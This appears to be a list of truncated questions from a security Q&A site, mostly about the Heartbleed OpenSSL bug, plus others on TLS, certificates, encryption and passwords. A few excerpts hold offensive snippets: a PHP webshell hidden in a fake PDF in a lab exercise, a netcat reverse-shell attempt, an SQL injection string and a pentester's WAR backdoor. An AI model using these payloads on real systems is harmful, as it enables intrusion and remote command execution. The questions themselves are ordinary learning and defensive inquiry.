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Is there a way to determine as an end-user which HTTPS sites use OpenSSL? Due to heartbleed it is recommended that clients change their passwords that were sent over TLS recently as private keys may have been compromised so eavesdropping and MitM attacks were possible. However, I haven't seen any notices from any HT...
Are Apache Tomcat servers using Tomcat Native & APR vulnerable to the HeartBleed OpenSSL bug, or does this layer insulate them? http://tomcat.apache.org/native-doc/ HeartBleed OpenSSL bug information: http://heartbleed.com/ On my Apache Tomcat server, I have: A vulnerable version of OpenSSL Built and installed APR Bui...
I am writing an application that serialises objects and then saves the resultant XML in an encrypted file. I am using an Initialisation Vector and a Salt both saved in the file for decryption so two files will not be the same even though they may contain the same data. Is the fact that I will have a recognisable patter...
TACK is an IETF draft that allows certificate pinning for a TLS web server, provided the clients' browsers support it. Unlike the certificate pinning feature available with HSTS preloading, the server's operator is not committing to a particular certificate in the chain (and hence typically to a particular root or inte...
There are websites which display user information, such as browser version and operating system This website goes even further, and displays some additional information, such as desktop resolution, and also any secondary network interfaces. In my case, it detected my eth1 network interface 192.168.0.6 I have noticed t...
Sorry if it is very open ended. All the news about the Heartbleed exploit has been flooding Google, and I can't figure out what it does. Is it fine to recompile?
Recently I received a new debit card which has both a magnetic stripe and a chip (as did my previous card). I know the magnetic stripe can be easily copied whereas the chip system hasn't been compromised (yet?). I suppose the stripe is still there for legacy purposes, even though in the last years I've not seen nor hea...
I've recently noticed that most of my activity with Google and its services goes through a local Google Global Cache server set up by our ISP. Since I don't fully trust the ISP, this has become a big concern for me. Is it possible for the provider to read the encrypted requests that pass through GGC, thus getting acces...
IIUC the Heartbleed vulnerability happens due to a bug in the C source code of OpenSSL, by performing a memcpy() from a buffer that is too short. I'm wondering if the bug would have been prevented automatically in other languages that have higher-level memory management systems than C or C++. In particular, my understa...
I was thinking that maybe the banners can give some insight as to whether a server is using OpenSSL. Is there any tell tale signs that a server is using OpenSSL? -- Clarification: Speaking in terms external; as in, if I went probing around the web or Shodan, is there a way to identify servers that use OpenSSL? To thos...
I have a fair number of security concerns with a client's operation and it made me think about all the security concerns I've observed and noticed throughout the years with different clients/jobs. Raising concerns with management was met with "too much time/money/resource" unless the security issue in question was expl...
Are there any known instances of malicious security breeches exploiting the Heartbleed vulnerability? Or is there at present only a known vulnerability, albeit a very serious one?
pretty much the title, how to know if the Heartbleed vulnerability (for OpenSSL) affects other libraries like .NET's SSLStream or BouncyCastle. (Sorry for ignorance, but have found no info on how to exploit, to see if is related to bufferoverruns and other things that shouldn't happen in Java/.NET).
I know that the vulnerability exploits the Heartbeat response which is a TLS feature. Now, when testing some of my important sites, there was some wording that scared me, namely: TLS extension 15 (heartbeat) seems disabled, so your server is probably unaffected. Does that means that there's another possible vulnerabi...
Today my friend got email for the latest vulnerablility heartbleed. But i could not find where i can subscribe so that i can also get emails about latest vulnerabilities Can anyone please help me where should i need to subscribe and which things i need to subscribe for.
I've read lots of reports of the HeartBleed bug but have not been able to find a description at the source-code level, such as this one for the goto fail bug. Can anyone provide, or point to, such an explanation?
I built an application that generates certificate signing requests (CSRs) using the PHP OpenSSL module. Is there a way that the HeartBleed bug can affect these (in use) private keys and CSRs that were generated while OpenSSL 1.0.1e was installed on the generating webserver?
If one has logged into a "heartbleed-vulnerable" site using OpenID, for example, using Google to log into StackExchange, does that mean that the Google password is now at risk as well?
I have read this post askbuntu, the step to fix the heartbleed vulnerability almost: upgrade openssl. generate new keys. revoke the old certificates. Some posts say attackers may have got your server's private keys. If there's the possibility attackers can use your old certificates and private keys do MITM attack? I'...
Hope someone can clarify. As I understand, in a DNS DDos Amplification attacks Multiple DNS queries are sent to a vulnerable name server with the source IP spoofed to that of the target server. The name server returns the response (with source port UDP 53) to the target server. To the target server, the name server ha...
In light of the Open SSL Heartbleed bug, I'd like to make sure I'm not putting any personal information in any system that is using Open SSL that is vulnerable. So, from my browser (IE 11) how can I tell if 1. a website is using Open SSL, and 2. if so, what version of Open SSL? I know I can view the security certifica...
Background I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug. I have a different pure Debian server and Debian was quick to remedy the problem. However, after running an update on my LMDE ...
I have been asked to research on a certain database then write down a specification document which covers Authentication, Authorization and Encryption. Has anyone ever come across such a documentation? I need to know if there is an example I can borrow from.
This is my page and class to encrypt the string entered and saved in database. Each time, the Key__c is the same, as I take it from custom settings. But when I enter abc and save two times, the entered value is different. What is the reason? <apex:page controller="encryptNewController"> <apex:form > <ap...
I see lot of OAUTH provider give us a secure key. What is the purpose of secure key in Facebook(and other provider) in OAUTH?
I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this: %PDF-1.4 <?php echo system($_GET["cmd"]); ?> Now I want to create a reverse shell using nc with following commands, but it does not work properly: index.php?page=uplo...
I run a server whose only public open port is 80, serving non-encrypted data over HTTP, not HTTPS. Is it affected by Heartbleed?
If one is using MongoDB enterprise, or built MongoDB from source using the -ssl option (as described here), is that MongoDB vulnerable to the heartbleed bug? I know mongo needed openssl-devel to be installed on the machine for the build to work. But is it now using that vulnerable openssl version internally and now mon...
See here: https://www.cacert.org/index.php?id=1 Chrome, Firefox and Internet Explorer warn that it is not trusted, essentially making the entire thing useless. If I want some kind of ssl certificate, I can just as well create my own with makecert.exe, the effect would be the same, wouldn't it: every browser would warn ...
Here's a short question: does a hash function with configurable length exist? And if not, why not? Would it be a problem?
The heartbeat extension to the TLS protocol seems like a useful idea for DTLS; according to the specification itself, it can be used to find out if a peer is still alive (and prevent firewalls from dropping the connection) without a renegotiation and for path MTU discovery. However, I don't understand the motivation fo...
I have to admit that I'm confused as to which services exactly are affected by Heartbleed. I have read http://heartbleed.com but all I read is that OpenSSL is affected. Great, but I don't really know where OpenSSL is used. So concretely, are these services affected: HTTPS (OK this one I think I know the answer) SSH HT...
Questions about Heartbleed have been showing up in the popular questions list today since morning, from the security stack exchange to android I have been reading many of them, most of them are technical and from a server administrators perspective so difficult to understand for the average user These are a few simple ...
I want to know whether my various providers changed their certificate because of Heartbleed, or they are using an old vulnerable certificate. How can I know that? Is the "valid from" date also the creation date?
Somewhere on this site I read that I should connect to websites by entering the URL myself or using a bookmark when security is critical. I started wondering why that didn't include browsing history. Of course it is true that my browsing history might have some mistyped URLs in it, whether entered by me or by people I ...
$query = " $sql = select * from users where id = '$id' " Won't $id=3' OR '1'='1 break the query ? The doubt arose because someone claimed it can't be broken.
microsoft.com for example can use a Verisign Certificate for their domain. What are the chances that an attacker could ask verisign for a m1crosoft.com domain and get approved? It is very simillar, but still can be used by attackers to run a "secured phishing website". Do trusted CA's do some research on a client that ...
Regarding the priority to upgrade servers, I want to confirm this, as I read in https://www.rfc-editor.org/rfc/rfc6520 chapter 3: However, a HeartbeatRequest message SHOULD NOT be sent during handshakes. If a handshake is initiated while a HeartbeatRequest is still in flight, the sending peer MUST stop the DTLS retra...
I have read about recent vulnerability in openssl. I tried to exploit one of my cloud servers where I run my web sites. I managed to get 64 KB of data. But what I managed to get was only HTML, CSS, PHP codes. But here states: We have tested some of our own services from attacker's perspective. We attacked ourselves...
I'm working on upgrading an old Windows RAS server that hosts PPTP VPN. I want to move to a L2TP/IPsec VPN. Due to the firewall appliance we use, the VPN server has to be behind a NAT. This means in order for L2TP/IPsec to work, I need to enable/configure NAT-T on the client and server. However, NAT-T functionality i...
On several pages, it is re-iterated that attackers can obtain up to 64K memory from the server or client that use an OpenSSL implementation vulnerable to Heartbleed (CVE-2014-0160). There are dozens of tools that reveal the bug in server applications. So far I have not seen a single tool that exploits the bug in client...
This may be a stupid question, but I'll ask anyway. I have been reading quite a bit about the Heart Bleed vulnerability, and I'm curious as to whether it only affects web applications or whether OVPN connections secured with certs produced with OpenSSL would potentially be affected. I have attempted to scan an OVPN Ser...
I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive information; particularly passwords for various web services. While they are mostly used read-only, I sometimes need to edit them...
Edit: Please follow the above link to the original. I have a self-signed certificate which is use to sign other certificates that I issued. This is all done with an affected version of OpenSSL. These certificates are installed on Windows servers for encryption of https traffic. OpenSSL is NOT installed on the servers....
When I visited Google and Facebook, and then clicked on the Perspectives add-on button to check the certificate information, I saw this: What does this mean? Shouldn't it have more "graph" lines? Why just two? Is this secure? Do I have to worry about this?
I'm working on an authentication system for a web based Bitcoin-related service. As part of the service, users do some less sensitive operations (mostly reading and sending various types of information) and some highly sensitive operations (controlling Bitcoin funds by signing transactions). I'm looking to create an au...
Today's xkcd has characters discussing heartbleed: Megan: I mean, this bug isn't just broken encryption. Megan: It lets website visitors make a server dispense random memory contents. Megan: It's not just keys. It's traffic data. Emails. Passwords. Erotic fanfiction. Cueball: Is everything compromised? Megan: Well,...
Users have been advised to consult a list of sites affected by heartbleed and to change their passwords on those sites once they are no longer vulnerable. Facebook appears to have been unaffected; but many affected sites use Facebook logins. What should users do about affected sites where they use Facebook to log in?
For a passphrase that is UTF8 encoded and then SHA256'd, what is the minimum length to achieve a practically collision free result? The implementation is for a 32 byte cryptocurrency ed25519 seed thus will not be stored anywhere by the implementation.
One of the services I use is saying they were unaffected by heartbleed. But when I check their site with the tool at http://possible.lv/tools/hb/, this is what it says: Looking for TLS extensions on https://xxxxxxxxxx ext 65281 (renegotiation info, length=1) TLS extension 15 (heartbeat) seems disabled, so your server...
I read a lot about IP spoofing but I am not sure how easy it is really to do. Let's say I am in Spain, can I somehow connect to a server in the US with an IP address that is allocated to Mexico? Won't the routers simply refuse to forward my traffic? I know you won't get any response as it would be routed to Mexico but...
Should I change all of my online passwords due to the heartbleed bug? Edit: I found a list of vulnerable sites on GitHub and checked all my critical sites. Everything I was really concerned with was not vulnerable according to the list.
I hope this is the right stackexchange - if not, please advise. As to the actual question: have a system we've developed that makes heavy use of asymmetric cryptography in various different ways (RSA, client certificate authentication, and digital signatures), and in our recommended configuration uses 8 certificates - ...
From what I gather you need local memory based access correct to even access the private key? Is all this talk and worry of "Was I hacked?!" "Heartbleed just made you full hackable" ect... really over exaggerating the issue? For example I run some pretty big websites using SSL Certs for HTTPS. Am I really remotely expl...
SSL supports a number of ciphers, but is it possible to stack/nest the ciphers, and process the plaintext in stages? My adversary may be able to easily crack one or more of the stages, but to decode my message, they need to crack them all if I can use multiple ciphers. For example: ciphertext = Encrypt(plaintext, key,...
So I'm getting conflicting information from members of my team. The premise is, if an attacker can keep requesting 64 kb chunks of memory from my server, they could get the entire memory footprint of my server, and thus get the private key I used out of memory. So, is the private SSH key I used to log in stored in mem...
It is public that Amazon's Elastic Load Balancers (ELBs) were vulnerable to the heartbleed exploit before they patched them all on April 8th. I understand that the memory of these ELBs (and therefore the certificates on them) could be compromised, but I'm curious if there was any risk of memory exposure of the EC2 ins...
As part of the Heartbleed event, I have upgraded OpenSSL, reissued and replaced certificates and revoked the old ones and changed passwords however, I am also seeing advice to invalidate all session cookies (https://security.stackexchange.com/a/55089/18057) but I cannot find out how to do this. Does this just apply to...
I have looked everywhere and I can't seem to find a netsh equivalent of the u32 module for iptables. I want to create a rule to Drop a packet that starts with a specific set of bytes. Similar to: # Block rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP Is this po...
Would designing a crawling bot to detect and inform vulnerable website owners be legal?
I was talking with a friend about HeartBleed, and he mentioned that he had 2-factor authentication enabled on all the sites that supported it, so even with his username and passwords, nobody would be able to login without his phone too. I told him to change his passwords anyway. But I'm interested to know; was he right...
According to the OpenSSL project the version in use on a server we control is not vulnerable: 0.9.8o. According to OpenVPN v 2.1.3 is also not vulnerable (also in use). These are running on Debian Squeeze (6) and are repo packages. However, when using two web based tools and the Python PoC code, this site reports as vu...
If LastPass does not store your master password, then how can you login to use their web app? Surely you must type it in, it is sent over using SSL, and then salted/hashed on the server-side, and then compared with what in their DB, like any other login scheme on the web.
I have observed a number of web-based login forms that offer 2-factor authentication do token entry on a second form after validating your username and password. Is there a reason not to ask people for their 2-factor authentication token at the same time as their username and password? A login form could detect a usern...
From what I read at heartbleed.com "...Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug." So what took them so long for it to be fixed ? Most importantly, how come any of the s...
I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
I'm sure its obvious, but I was wondering, what is the primary reason 3DES encryption is not used for storing passwords in the database? My understanding is that 3DES is a strong encryption? So I can only think that the reason it is not used is because its encrypted not hashed, so that if the system was compromised th...
Today when I woke up , I got a email from Godaddy that contain “A critical vulnerability with OpenSSL, known as 'The Heartbleed Bug' was recently announced that could potentially impact your server“ I don’t know what Heartbleed is. Please help me protect my server.
Most of my friends who are not experienced in computers want to know what Heartbleed is and how it works. How would one explain Heartbleed to someone without a technical background?
I want to implement card-based authentication for the parking system in a university. Currently all students own a Java Card-based student ID card, if they have not broken or lost it. Can we create custom APDU structures in a blank, non-smart 13.56Mhz card? I'll elaborate. While the majority of the parking lot is occup...
One of my friends site got hacked recently. Now while pinging the site ping zyz.com the response is like From 10.x.0.1 icmp_seq=79 Packet filtered From what I have heard, 10.x.0.1 looks like a LAN gateway address. Could someone please help by telling me why is the response having subnet detail in it? Any help would ...
Can an external tool accurately determine the current vulnerability of a site to Heartbleed? If so, how? What has to be tested/tested for? What features are required? vvvvvvvvvv UPDATE 1 What features are required to determine if a vulnerable site was remediated? How does one determine that it is time to update the p...
I am at a small firm (12 PC on the internal network). We use this network architecture now: Internet(Modem) --> Router --> Firewall --> Switch -- > Internal Network (clients PCs) \| \| \|- Wifi Router \|- DHCP & AD Server \|- HTTP file server T...
If I have got this right in my head it would be a simple enough task to combine arp spoofing on a public WiFi to redirect clients to an evil SSL server which sends malformed heartbeat requests or to set up a honeypot WiFi and use the box as a router.. not many people would notice this as most public WiFi hotspots redir...
So the heartbeat bug can lead to memory read overrun, exposing (parts of) the process memory, because it reads the payload when there actually is no (or less) payload. But what do you need a payload for, especially in a heartbeat? It looks like it's just memcpy'd into the response. How is it used, exactly? Edit: Simila...
I am in the midst of a pentest. I have managed to uploaded a war shell (backdoor) in c:\test\ which is automatically deployed in a folder, for example c:\test\tmpbrowser.war. The application which I am testing and its files which are accessible are installed in c:\approot\extracted\. Now what I want to arrange is that...
I host my personal website on digitalocean. Nowadays, I received many abuse complaints which finally make them shutdown my machine. I feel really sad and angry. Someone complaints that my machine is used to attack his machine via ssh. I check my machine, and find two suspects: root@eva:~# lsof -i COMMAND PID USER FD T...
I have a form which contains a password field. In swing the getPassword() method returns a character array. After the password has been processed by my web application the array can be wiped to remove the password from memory. This is not possible when using Strings because Strings are immutable. Using arrays reduces t...
I understand the part about a server with the vulnerability. But from what I gather, the vulnerability has also existed in browsers that use the vulnerable OpenSSL implementations. So, if I first visit a site that doesn't have a vulnerable OpenSSL implementation, log in then, and then afterwards (or perhaps through som...
Since I'm quite beginner to information and websites security, I'd like to ask more experienced people about and idea, that just crossed my mind (probably isn't my original discovery! :]). With introduction of so many new top-level domains, would it increase my website security, if I would move "control panel" to a sep...
My understanding of the Heartbleed vulnerability is that there is no bounds check on the payload length/buffer size so the server can read into memory outside of its process space. But can the start address be modified? If not, then the probability of snagging anything interesting from a server with gigs of RAM, where ...
As title says, is there an av that does that? And if not, is there any other program that protects processes like lsass in windows, apart from protected process utility in win8.1?
Is electronic voting software compromised by the heartbleed issue?
Before you dismiss this as silly, let me explain :) The only purpose of this encryption is to make the data inaccessible if the drive breaks down and I want to send it off for warranty replacement. This system needs to be able to boot without my supervision when I'm away - which precludes the use of any passwords. Righ...
I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web page. As such, the applet would have access to the client computer. I can't explicitly find OpenSSL anywhere on the serve...
I'm working on a project, where we use the Common Name as a certificate's basic identifier. However, importing certificates without the Common Name fails. What's the default way to use digital certificates? Which identifier should we choose to be able to import them?
How can a Linux server be protected against an attacker that tries to open a large number of SSH sessions (probably trying to brute force a password) that no ports remain to be able to legitimately login to the machine? The server already uses only SSH key based access and does not allow root logins, so the password br...
One thing that's been bugging me in relation to the discovery of the Heartbleed OpenSSL flaw is the recommendation that everyone should run to their computers in a panic and change all of their passwords right now. Considering that there probably still are sites out there that haven't yet upgraded their OpenSSL version...
Just heard about the heartbleed news over the internet for OpenSSL and wondering if it affects ios apps as well. My app uses openssl crypto library and thus the concern ! Any views in this regard would be much appreciated ! Venkat
There is a task to design a system to store sensitive data securely (should be HIPAA compliant in the future). It's just a draft - this will not be used in production in a foreseeable future. I have a prototype inspired by TrueVault and want to know if there is some semantic security lacks or violations of security con...
In light of the recent heartbleed vulnerability, I'm thinking of switching to a service like 1Password. However, I don't know how to evaluate the risk of NSA (or other government) spying. So, two questions: how can I evaluate the risk of such spying, and is 1Password secure from it? EDIT: I thought it went without sa...
I am semi-embarrassed to ask this question having worked in the field for 20 years, but can someone describe to me why I should run SSL on any web site that uses authentication? I understand the bigger "why" issues (people use same password on blog and bank) and I am assuming that the passwords are stored encrypted on ...
Is it possible to brute force a flash login with hydra? If not, what is a good tool to pen test a flash login?
I'm learning about security at the moment and one thing I'd like to try out is having a key server distribute keys to clients that will allow them to securely save and read data locally. My basic idea is that the client will communicate with the server over TLS where they'll provide a username and password. This passwo...
With all the coverage of the technical aspects and doomsday talk, it's hard to get co-workers to listen when they don't see stories of real people being affected by Heartbleed. So is there any evidence of individuals out there actually suffering at the hands of this bug?
When you create a Scheduled Task in Windows, it gives you the option of running the task as a different user, including saving the password. How secure is the password that is stored?
Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are coming from the same botnet? Based on geography of the nodes and time of day given nodes are attacking? I'm talking prol...
As I understand it, HTTPS/SSL/TLS works by EC/DHE/RSA key exchange, providing a shared symmetric key (ie. for AES) that is used for future communications. How long is this symmetric key kept in use by the major browsers before a new key is negotiated?
Let's make the following assumptions: A trusted root certificate was being served with a vulnerable version of OpenSSL. Prior to public disclosure, a malicious entity was aware of and exploited the heartbleed vulnerability Said malicious entity attacked and gained the private key for the root certificate I don't have ...
In the context of the Heartbleed bug I would like to make sure that I can detect if someone tries to do a MITM attack with a stolen certificate, which since has been revoked. The problem is that browser either only soft-fail or don't check the CRL at all because soft-fail is useless. Firefox lets one make OCSP response...

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